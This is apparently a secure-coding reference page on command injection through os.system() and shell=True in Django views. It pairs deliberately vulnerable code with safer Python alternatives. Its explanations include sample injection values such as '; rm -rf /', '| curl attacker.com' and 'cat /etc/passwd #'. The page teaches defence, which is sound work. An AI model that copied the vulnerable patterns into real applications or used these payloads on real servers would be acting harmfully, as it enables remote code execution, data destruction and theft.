Django Command Injection via os.system()

Critical Risk Command Injection
djangopythoncommand-injectionos-systemremote-code-executionsystem-commands

What it is

The Django application uses os.system() or similar functions with user-controlled input, leading to command injection vulnerabilities. Attackers can execute arbitrary system commands on the server, potentially gaining full control of the system, accessing sensitive files, or compromising the entire infrastructure.

# Vulnerable: os.system() with user input in Django import os import subprocess from django.http import JsonResponse from django.views import View from django.core.files.storage import default_storage # Extremely dangerous: os.system() with user input class FileOperationView(View): def post(self, request): filename = request.POST.get('filename', '') operation = request.POST.get('operation', '') try: # CRITICAL: Command injection possible command = f"{operation} {filename}" result = os.system(command) return JsonResponse({'result': result}) except Exception as e: return JsonResponse({'error': str(e)}) # Another dangerous pattern def backup_user_data(request): user_id = request.GET.get('user_id', '') backup_path = request.GET.get('path', '') # Dangerous: User controls command arguments backup_command = f"tar -czf {backup_path}/user_{user_id}.tar.gz /data/users/{user_id}/" try: os.system(backup_command) return JsonResponse({'status': 'backup_completed'}) except Exception as e: return JsonResponse({'error': str(e)}) # File conversion with user input def convert_file(request): input_file = request.POST.get('input_file', '') output_format = request.POST.get('format', '') output_file = request.POST.get('output_file', '') # Dangerous: subprocess with shell=True try: convert_cmd = f"convert {input_file} {output_file}.{output_format}" subprocess.run(convert_cmd, shell=True, check=True) return JsonResponse({'status': 'converted'}) except subprocess.CalledProcessError as e: return JsonResponse({'error': str(e)}) # Log analysis with user input def analyze_logs(request): log_file = request.GET.get('log_file', '') search_pattern = request.GET.get('pattern', '') # Dangerous: grep command with user input try: grep_command = f"grep '{search_pattern}' {log_file}" result = os.popen(grep_command).read() return JsonResponse({'matches': result}) except Exception as e: return JsonResponse({'error': str(e)}) # System maintenance def system_maintenance(request): if request.method == 'POST': action = request.POST.get('action', '') target = request.POST.get('target', '') # Dangerous: Direct system command execution maintenance_commands = { 'cleanup': f"rm -rf {target}", 'backup': f"cp -r {target} /backups/", 'restart': f"systemctl restart {target}" } if action in maintenance_commands: try: os.system(maintenance_commands[action]) return JsonResponse({'status': f'{action}_completed'}) except Exception as e: return JsonResponse({'error': str(e)})
# Secure: Safe alternatives to os.system() in Django import subprocess import shutil import os from pathlib import Path from django.http import JsonResponse from django.views import View from django.core.files.storage import default_storage from django.core.exceptions import ValidationError from django.conf import settings import re # Safe: Validated file operations without system commands class SafeFileOperationView(View): def post(self, request): filename = request.POST.get('filename', '') operation = request.POST.get('operation', '') try: # Validate inputs validated_data = self.validate_file_operation(filename, operation) # Execute safe operation result = self.execute_safe_operation(validated_data) return JsonResponse({'result': result}) except ValidationError as e: return JsonResponse({'error': str(e)}, status=400) def validate_file_operation(self, filename, operation): # Validate filename if not filename or len(filename) > 255: raise ValidationError('Invalid filename') # Only allow safe filename characters if not re.match(r'^[a-zA-Z0-9._-]+$', filename): raise ValidationError('Filename contains invalid characters') # Prevent directory traversal if '..' in filename or filename.startswith('/'): raise ValidationError('Invalid file path') # Validate operation allowed_operations = ['copy', 'move', 'delete', 'info'] if operation not in allowed_operations: raise ValidationError('Operation not allowed') return {'filename': filename, 'operation': operation} def execute_safe_operation(self, data): filename = data['filename'] operation = data['operation'] # Define safe base directory base_dir = Path(settings.MEDIA_ROOT) / 'user_files' file_path = base_dir / filename # Ensure file is within base directory try: file_path.resolve().relative_to(base_dir.resolve()) except ValueError: raise ValidationError('File path outside allowed directory') # Execute safe operations using Python if operation == 'copy': backup_path = base_dir / 'backups' / filename backup_path.parent.mkdir(exist_ok=True) shutil.copy2(file_path, backup_path) return 'File copied successfully' elif operation == 'move': archive_path = base_dir / 'archive' / filename archive_path.parent.mkdir(exist_ok=True) shutil.move(file_path, archive_path) return 'File moved successfully' elif operation == 'delete': if file_path.exists(): file_path.unlink() return 'File deleted successfully' return 'File not found' elif operation == 'info': if file_path.exists(): stat = file_path.stat() return { 'size': stat.st_size, 'modified': stat.st_mtime, 'exists': True } return {'exists': False} # Safe: File backup without system commands def safe_backup_user_data(request): user_id = request.GET.get('user_id', '') try: # Validate user ID if not user_id.isdigit(): raise ValidationError('Invalid user ID') user_id = int(user_id) # Check if user exists and belongs to current user if request.user.id != user_id and not request.user.is_staff: raise ValidationError('Access denied') # Create backup using Python libraries result = create_user_backup(user_id) return JsonResponse({'status': 'backup_completed', 'backup_id': result}) except ValidationError as e: return JsonResponse({'error': str(e)}, status=400) def create_user_backup(user_id): import tarfile import tempfile from datetime import datetime # Define safe paths user_data_dir = Path(settings.MEDIA_ROOT) / 'users' / str(user_id) backup_dir = Path(settings.MEDIA_ROOT) / 'backups' backup_dir.mkdir(exist_ok=True) # Create backup filename timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') backup_filename = f'user_{user_id}_{timestamp}.tar.gz' backup_path = backup_dir / backup_filename # Create tar archive using Python with tarfile.open(backup_path, 'w:gz') as tar: if user_data_dir.exists(): tar.add(user_data_dir, arcname=f'user_{user_id}') return backup_filename # Safe: File conversion using Python libraries def safe_convert_file(request): try: # Get uploaded file if 'file' not in request.FILES: raise ValidationError('No file provided') uploaded_file = request.FILES['file'] output_format = request.POST.get('format', '') # Validate file and format validated_data = validate_conversion_request(uploaded_file, output_format) # Perform safe conversion result = perform_safe_conversion(validated_data) return JsonResponse({'status': 'converted', 'output_file': result}) except ValidationError as e: return JsonResponse({'error': str(e)}, status=400) def validate_conversion_request(uploaded_file, output_format): # Validate file type allowed_types = ['image/jpeg', 'image/png', 'image/gif'] if uploaded_file.content_type not in allowed_types: raise ValidationError('File type not allowed') # Validate file size max_size = 10 * 1024 * 1024 # 10MB if uploaded_file.size > max_size: raise ValidationError('File too large') # Validate output format allowed_formats = ['jpeg', 'png', 'webp'] if output_format not in allowed_formats: raise ValidationError('Output format not allowed') return { 'file': uploaded_file, 'output_format': output_format } def perform_safe_conversion(data): from PIL import Image import io uploaded_file = data['file'] output_format = data['output_format'] # Convert using PIL/Pillow try: # Open and validate image image = Image.open(uploaded_file) image.verify() # Verify it's a valid image # Reopen for processing (verify() closes the file) uploaded_file.seek(0) image = Image.open(uploaded_file) # Convert format output_io = io.BytesIO() image.save(output_io, format=output_format.upper()) # Save converted file output_filename = f'converted_{uploaded_file.name}.{output_format}' output_path = Path(settings.MEDIA_ROOT) / 'converted' / output_filename output_path.parent.mkdir(exist_ok=True) with open(output_path, 'wb') as f: f.write(output_io.getvalue()) return output_filename except Exception as e: raise ValidationError('Conversion failed') # Safe: Log analysis without shell commands def safe_analyze_logs(request): search_pattern = request.GET.get('pattern', '') try: # Validate search pattern validated_pattern = validate_search_pattern(search_pattern) # Perform safe log search results = search_logs_safely(validated_pattern) return JsonResponse({'matches': results}) except ValidationError as e: return JsonResponse({'error': str(e)}, status=400) def validate_search_pattern(pattern): if not pattern or len(pattern) > 100: raise ValidationError('Invalid search pattern') # Only allow alphanumeric and safe characters if not re.match(r'^[a-zA-Z0-9\s._-]+$', pattern): raise ValidationError('Pattern contains invalid characters') return pattern def search_logs_safely(pattern): import re # Define safe log file path log_file = Path(settings.BASE_DIR) / 'logs' / 'application.log' if not log_file.exists(): return [] matches = [] try: # Read and search file using Python with open(log_file, 'r') as f: for line_num, line in enumerate(f, 1): if pattern.lower() in line.lower(): matches.append({ 'line_number': line_num, 'content': line.strip()[:200] # Limit content length }) # Limit results if len(matches) >= 100: break except Exception: raise ValidationError('Log search failed') return matches # Safe: System maintenance without shell commands def safe_system_maintenance(request): if request.method == 'POST': action = request.POST.get('action', '') try: # Validate action if action not in get_allowed_maintenance_actions(): raise ValidationError('Action not allowed') # Execute safe maintenance result = execute_safe_maintenance(action) return JsonResponse({'status': result}) except ValidationError as e: return JsonResponse({'error': str(e)}, status=400) def get_allowed_maintenance_actions(): return ['cleanup_temp', 'clear_cache', 'compress_logs'] def execute_safe_maintenance(action): if action == 'cleanup_temp': # Clean temporary files using Python temp_dir = Path(settings.MEDIA_ROOT) / 'temp' if temp_dir.exists(): for file_path in temp_dir.glob('*'): if file_path.is_file(): file_path.unlink() return 'Temporary files cleaned' elif action == 'clear_cache': # Clear Django cache from django.core.cache import cache cache.clear() return 'Cache cleared' elif action == 'compress_logs': # Compress old logs using Python import gzip log_dir = Path(settings.BASE_DIR) / 'logs' for log_file in log_dir.glob('*.log'): if log_file.stat().st_size > 10 * 1024 * 1024: # 10MB compressed_path = log_file.with_suffix('.log.gz') with open(log_file, 'rb') as f_in: with gzip.open(compressed_path, 'wb') as f_out: shutil.copyfileobj(f_in, f_out) log_file.unlink() # Remove original return 'Logs compressed' return 'Maintenance completed'

💡 Why This Fix Works

See fix suggestions for detailed explanation.

Why it happens

Django views and API endpoints use os.system() to execute shell commands that incorporate data from request parameters, form data, or uploaded files, enabling attackers to inject arbitrary commands through special shell metacharacters. The os.system(command) function passes command strings directly to the operating system shell (/bin/sh on Unix, cmd.exe on Windows), interpreting semicolons, pipes, backticks, and other shell operators as command separators or execution modifiers. Django endpoints accepting filename parameters: os.system(f'ls {request.GET["file"]}') execute arbitrary commands when file = '; rm -rf /' or file = '| curl attacker.com'. File processing views that invoke system utilities: os.system(f'convert {input_file} {output_file}') allow injection through filenames containing command separators or shell expansions. Admin functionality using os.system() for maintenance tasks: os.system(f'tar -czf backup.tar.gz {user_directory}') enables directory name injection executing unintended commands. API endpoints accepting operation parameters: os.system(f'{operation} {target}') give attackers complete control when operation = 'cat /etc/passwd #' making target parameter irrelevant. The function returns only exit status, providing limited error feedback but executing commands regardless of application error handling, making silent exploitation possible.

Root causes

Using os.system() with User-Provided Input from Django Requests

Django views and API endpoints use os.system() to execute shell commands that incorporate data from request parameters, form data, or uploaded files, enabling attackers to inject arbitrary commands through special shell metacharacters. The os.system(command) function passes command strings directly to the operating system shell (/bin/sh on Unix, cmd.exe on Windows), interpreting semicolons, pipes, backticks, and other shell operators as command separators or execution modifiers. Django endpoints accepting filename parameters: os.system(f'ls {request.GET["file"]}') execute arbitrary commands when file = '; rm -rf /' or file = '| curl attacker.com'. File processing views that invoke system utilities: os.system(f'convert {input_file} {output_file}') allow injection through filenames containing command separators or shell expansions. Admin functionality using os.system() for maintenance tasks: os.system(f'tar -czf backup.tar.gz {user_directory}') enables directory name injection executing unintended commands. API endpoints accepting operation parameters: os.system(f'{operation} {target}') give attackers complete control when operation = 'cat /etc/passwd #' making target parameter irrelevant. The function returns only exit status, providing limited error feedback but executing commands regardless of application error handling, making silent exploitation possible.

Constructing Shell Commands Through String Concatenation or Formatting

Django applications build shell command strings using f-strings, .format(), or concatenation operators that embed user-controlled variables, creating command injection vulnerabilities when these constructed strings execute through os.system(), os.popen(), or subprocess with shell=True. F-string patterns directly interpolate request data: os.system(f'grep "{search_term}" {log_file}') enables injection through search_term = '"; cat /etc/passwd #' or log_file containing shell metacharacters. String concatenation chains command components: cmd = 'ffmpeg -i ' + input_video + ' ' + output_video; os.system(cmd) allows injection through any concatenated variable. The .format() method creates identical risks: os.system('tar -czf {}.tar.gz {}'.format(archive_name, source_dir)) enables injection through format parameters. Multi-variable formatting provides multiple injection points: os.system(f'{tool} {options} {target}') allows attacks through tool names, option flags, or target arguments. Percent-formatting (%) suffers similar issues: os.system('cp %s %s' % (source, dest)) enables injection through source or dest parameters. Template strings from user input: from string import Template; os.system(Template(cmd_template).substitute(user_vars)) executes attacker-controlled templates with injected variables.

Missing Input Validation Before System Command Execution

Django applications execute system commands without implementing adequate input validation, sanitization, or allowlist checks on request parameters, trusting that upstream API validation or minimal string checks prevent command injection when shell interpretation makes any such validation insufficient. Length limits that don't prevent injection: if len(filename) <= 100: os.system(f'rm {filename}') allows short malicious commands like '; curl attacker.com #' within length constraints. Character allowlists that miss dangerous shell metacharacters: if all(c in 'abcdefghijklmnopqrstuvwxyz0123456789' for c in input): os.system(f'file {input}') fail when attackers use semicolons, pipes, backticks, dollar signs, ampersands, or quotes in other parameters. Attempts to block dangerous characters through replacement: safe_input = input.replace(';', '').replace('|', ''); os.system(f'cat {safe_input}') fail because replacement is incomplete (missing backticks, $(), &&, ||) and bypassable (using encoded or alternative syntax). File extension validation without content validation: if filename.endswith('.txt'): os.system(f'cat {filename}') fails when filename = 'legitimate.txt; malicious_command'. API Gateway request validation checking data types and structure but not shell injection payloads: schema validation requiring string filenames doesn't prevent values containing command injection sequences. Django form validation using basic validators: forms.CharField(max_length=255) validates length but not command injection patterns.

Processing File Paths or Names from User Input in System Calls

Django file upload handlers, document processors, or media management endpoints accept user-provided file paths, filenames, or directory names and pass them to os.system() or other shell command functions without path sanitization or directory traversal prevention. File upload views using uploaded filenames directly: uploaded_file = request.FILES['file']; os.system(f'file {uploaded_file.name}') enables injection through malicious filenames like 'innocent.jpg; curl attacker.com'. S3 integration or cloud storage synchronization: os.system(f'aws s3 cp {s3_key} /tmp/') allows injection through S3 object keys that applications don't control but process from event notifications. Directory listing or file search endpoints: os.system(f'find {search_path} -name {pattern}') enable injection through both search_path and pattern parameters. Image processing or thumbnail generation: os.system(f'convert {upload.path} -resize 200x200 {thumbnail_path}') vulnerable when upload.path contains injected commands from original filename. Archive extraction utilities: os.system(f'tar -xzf {archive_path} -C {extract_dir}') allow injection through archive names or extraction directories. Path traversal combined with command injection: filename = '../../etc/passwd' triggers traversal, but filename = '; cat /etc/passwd' executes commands, and both may combine in same input.

Using subprocess.call() or subprocess.run() with shell=True Unsafely

Django applications use subprocess module functions with shell=True parameter to execute commands incorporating user input, creating command injection identical to os.system() but with more features that developers incorrectly assume provide safety. The shell=True parameter instructs subprocess to invoke commands through shell interpreter: subprocess.run(command_string, shell=True) passes entire string to /bin/sh -c making it subject to shell parsing where semicolons separate commands, pipes chain processes, and backticks execute subshells. Developers use shell=True to simplify command construction with pipes or wildcards: subprocess.run(f'cat {file} | grep {pattern}', shell=True) requires shell for pipe functionality but makes file and pattern injection vectors. Output capture doesn't prevent injection: result = subprocess.run(cmd, shell=True, capture_output=True) captures output but executes injected commands first. The check=True parameter only validates exit codes: subprocess.run(user_command, shell=True, check=True) raises CalledProcessError on non-zero exits but after command execution including injected malicious code. The text=True parameter for string output doesn't sanitize input: subprocess.run(cmd, shell=True, capture_output=True, text=True) returns stdout as string but doesn't prevent command injection. Timeout parameters limit execution duration: subprocess.run(cmd, shell=True, timeout=5) prevents infinite loops but executes injected commands before timeout. subprocess.call() provides identical risks: subprocess.call(user_controlled_cmd, shell=True) with simpler interface but same shell interpretation vulnerabilities.

Fixes

1

Never Use os.system() with User Input - Use subprocess with Argument Lists

Completely eliminate os.system() from Django applications, replacing it with subprocess.run() or subprocess.Popen() using argument list syntax (shell=False, the default) that passes arguments directly to programs without shell interpretation, preventing command injection. Replace os.system(command_string) with subprocess.run([program, arg1, arg2], check=True): the list syntax treats each element as a separate argument, preventing shell metacharacter interpretation even when arguments contain semicolons, pipes, or backticks. Convert command strings to argument lists: instead of os.system(f'ls -la {directory}'), use subprocess.run(['ls', '-la', directory]) where directory is treated as a literal argument regardless of special characters it contains. Use absolute program paths to prevent PATH injection: subprocess.run(['/bin/ls', '-la', user_directory]) ensures the correct binary executes rather than a trojan with the same name in attacker-controlled PATH. Handle spaces and special characters safely: subprocess.run(['grep', 'search term', filename]) passes 'search term' as a single argument including the space, no quotes needed. Capture output without shell: result = subprocess.run(['command', arg], capture_output=True, text=True); output = result.stdout safely captures stdout without shell interpretation. Implement timeout protection: subprocess.run([cmd, arg], timeout=30) raises TimeoutExpired if command exceeds duration. Audit codebase for os.system(): grep -r 'os\.system' identifies all instances requiring replacement. Configure static analysis tools to flag os.system() as critical violations: use Bandit (B605, B607, B609), Semgrep, or CodeQL rules blocking os.system() in CI/CD pipelines.

2

Validate and Sanitize All User Input Before Any System Operations

Implement comprehensive input validation before any file operations or system interactions, using allowlists, regular expressions, path validation, and type checking to ensure user input cannot contain command injection payloads or directory traversal sequences. Define strict filename validation: FILENAME_REGEX = r'^[a-zA-Z0-9._-]+$'; if not re.match(FILENAME_REGEX, filename): raise ValidationError('Invalid filename') restricts filenames to safe alphanumeric characters, dots, hyphens, and underscores, blocking shell metacharacters. Validate file paths using pathlib: from pathlib import Path; safe_path = Path(base_dir) / user_filename; safe_path.resolve().relative_to(Path(base_dir).resolve()) ensures path stays within base directory, raising ValueError for traversal attempts containing '..' or absolute paths. Implement file extension allowlists: ALLOWED_EXTENSIONS = {'.txt', '.pdf', '.jpg', '.png'}; if Path(filename).suffix.lower() not in ALLOWED_EXTENSIONS: raise ValidationError('File type not allowed') restricts to known-safe formats. Apply length limits to all string inputs: MAX_FILENAME_LENGTH = 255; if len(filename) > MAX_FILENAME_LENGTH: raise ValidationError('Filename too long') prevents buffer overflows and limits injection payload size. Use Django forms for structured validation: class FileOperationForm(forms.Form): filename = forms.CharField(max_length=255, validators=[RegexValidator(r'^[\w.-]+$')]); operation = forms.ChoiceField(choices=[('copy', 'Copy'), ('delete', 'Delete')]) applies framework validation. Validate MIME types for uploads: import magic; detected_type = magic.from_buffer(file.read(1024), mime=True); file.seek(0); if detected_type not in ALLOWED_TYPES: raise ValidationError('File type not allowed') validates actual content not just extensions. Sanitize filenames: import unicodedata; safe_name = ''.join(c for c in unicodedata.normalize('NFKD', filename) if c.isalnum() or c in '._-')[:255] removes dangerous characters. Log validation failures for security monitoring: logger.warning(f'Validation failed for input: {sanitized_sample}')

3

Use Allowlists for Permitted Commands and File Operations

Implement strict allowlist-based architectures where only explicitly permitted operations, file types, directories, and commands can be executed, preventing command injection and unauthorized file access by restricting all dynamic behavior to predefined safe options. Define operation allowlists: ALLOWED_OPERATIONS = {'copy': perform_copy, 'move': perform_move, 'delete': perform_delete, 'info': get_file_info}; if operation not in ALLOWED_OPERATIONS: raise ValueError('Operation not permitted'); ALLOWED_OPERATIONS[operation](validated_params) maps user operation names to safe implementation functions. Create directory allowlists: ALLOWED_DIRECTORIES = {Path('/var/www/uploads'), Path('/var/www/media')}; if not any(user_path.resolve().is_relative_to(allowed) for allowed in ALLOWED_DIRECTORIES): raise ValueError('Directory not allowed') restricts file operations to approved directories. Implement command allowlists for subprocess: ALLOWED_COMMANDS = {'/usr/bin/convert', '/usr/bin/pdftotext', '/usr/bin/gs'}; if command_path not in ALLOWED_COMMANDS: raise ValueError('Command not allowed'); subprocess.run([command_path] + validated_args) permits only specific executables. Use file type allowlists with MIME validation: ALLOWED_MIME_TYPES = {'image/jpeg', 'image/png', 'application/pdf'}; if file_mime not in ALLOWED_MIME_TYPES: raise ValueError('File type not allowed') restricts uploads to safe formats. Create user-based operation allowlists: USER_OPERATION_MAP = {'staff': ['copy', 'move', 'delete'], 'user': ['copy', 'info']}; allowed_ops = USER_OPERATION_MAP.get(request.user.role, []); if operation not in allowed_ops: raise PermissionDenied() restricts operations by user role. Document allowlist maintenance: require security review for additions, maintain audit log of allowlist changes, review during security assessments.

4

Employ Django's Built-in File Handling Instead of System Commands

Replace os.system() and subprocess-based file operations with Django's built-in file handling APIs, Python standard library functions, and framework utilities that provide safe file manipulation without shell command execution. Use Django's file storage API: from django.core.files.storage import default_storage; default_storage.save(filename, file_content) handles file writing safely with configurable backends (local filesystem, S3, etc.) without shell commands. Implement file copying with shutil: import shutil; shutil.copy2(source_path, dest_path) copies files with metadata preservation using pure Python without shell invocation. Move files safely: shutil.move(source, destination) relocates files without os.system('mv'). Delete files with pathlib: Path(file_path).unlink() removes files, Path(directory).rmdir() removes empty directories without shell commands. Read file metadata using pathlib: stat = Path(file).stat(); size = stat.st_size; modified_time = stat.st_mtime provides file information without 'ls' or 'stat' commands. Create directories: Path(directory).mkdir(parents=True, exist_ok=True) creates directory structures without 'mkdir -p'. List directory contents: files = list(Path(directory).glob('*.txt')) finds files without 'find' or 'ls' commands. Handle archives with tarfile/zipfile: import tarfile; with tarfile.open(archive_path, 'w:gz') as tar: tar.add(source_dir) creates archives without 'tar' commands. Validate uploaded files: from django.core.files.uploadedfile import UploadedFile; if isinstance(file, UploadedFile): process_upload(file) uses Django's upload handling with built-in validation. Use Django's staticfiles for static content: from django.contrib.staticfiles.storage import staticfiles_storage; url = staticfiles_storage.url(filename) generates URLs without file system commands.

5

Use Python Libraries Instead of Shell Commands for All Operations

Replace shell command invocations with native Python libraries and third-party packages that provide equivalent functionality through safe APIs without subprocess or command injection risks. For image processing, use Pillow (PIL): from PIL import Image; img = Image.open(input_path); img.resize((800, 600)).save(output_path) resizes images without ImageMagick subprocess. Convert PDFs with pypdf or pdfplumber: import pdfplumber; with pdfplumber.open(pdf_path) as pdf: text = ''.join(page.extract_text() for page in pdf.pages) extracts text without 'pdftotext' commands. Handle video with moviepy: from moviepy.editor import VideoFileClip; clip = VideoFileClip(input_video).resize(0.5).write_videofile(output_video) processes video without ffmpeg subprocess. Perform text processing with native Python: use re module for pattern matching instead of grep, str methods for transformation instead of sed, csv module for CSV handling instead of awk. Archive operations with Python stdlib: import zipfile; with zipfile.ZipFile(archive, 'w') as z: z.write(filename) creates archives without zip/tar commands. HTTP requests with requests library: import requests; response = requests.get(url, timeout=5) fetches URLs without curl/wget subprocess. Excel processing with openpyxl or pandas: import pandas as pd; df = pd.read_excel(file_path) reads spreadsheets without external tools. XML processing with lxml or built-in xml: from lxml import etree; tree = etree.parse(xml_file) parses XML safely without xmllint subprocess. JSON with standard library: import json; data = json.load(file) parses JSON without jq commands. Hash computation with hashlib: import hashlib; hash_value = hashlib.sha256(file_content).hexdigest() computes hashes without md5sum/sha256sum commands. Document installation of required libraries in requirements.txt, include in deployment, provide examples in coding standards.

6

Implement Proper Access Controls and User Permissions

Enforce strict access controls, user authentication, role-based permissions, and authorization checks before any file operations or system interactions to limit attack surface and prevent unauthorized command execution. Require authentication for all file operations: from django.contrib.auth.decorators import login_required; @login_required def file_operation_view(request): ensures only authenticated users access functionality. Implement role-based access control: from django.contrib.auth.mixins import PermissionRequiredMixin; class FileOperationView(PermissionRequiredMixin, View): permission_required = 'app.can_manage_files' restricts operations to users with specific permissions. Validate resource ownership: if file.owner != request.user and not request.user.is_staff: raise PermissionDenied('Access denied') ensures users only access their own files. Use Django's permission system: from django.contrib.auth.models import Permission; user.user_permissions.add(permission) manages fine-grained permissions. Implement object-level permissions with django-guardian: from guardian.shortcuts import assign_perm; assign_perm('delete_file', user, file_object) grants specific users permissions on specific objects. Apply permission checks before operations: if not request.user.has_perm('app.delete_file'): raise PermissionDenied() validates permissions before dangerous operations. Audit all file operations: create audit logs recording user, operation, timestamp, file path, and result for compliance and incident investigation. Implement rate limiting: from django_ratelimit.decorators import ratelimit; @ratelimit(key='user', rate='10/h') limits operation frequency preventing abuse. Use Django admin permissions: @admin.register(FileOperation); class FileOperationAdmin(admin.ModelAdmin): def has_delete_permission(self, request, obj=None): return request.user.is_superuser restricts admin operations. Configure file system permissions: ensure Django process has minimal required permissions, use separate user account, apply principle of least privilege at OS level.

Detect This Vulnerability in Your Code

Sourcery automatically identifies django command injection via os.system() and many other security issues in your codebase.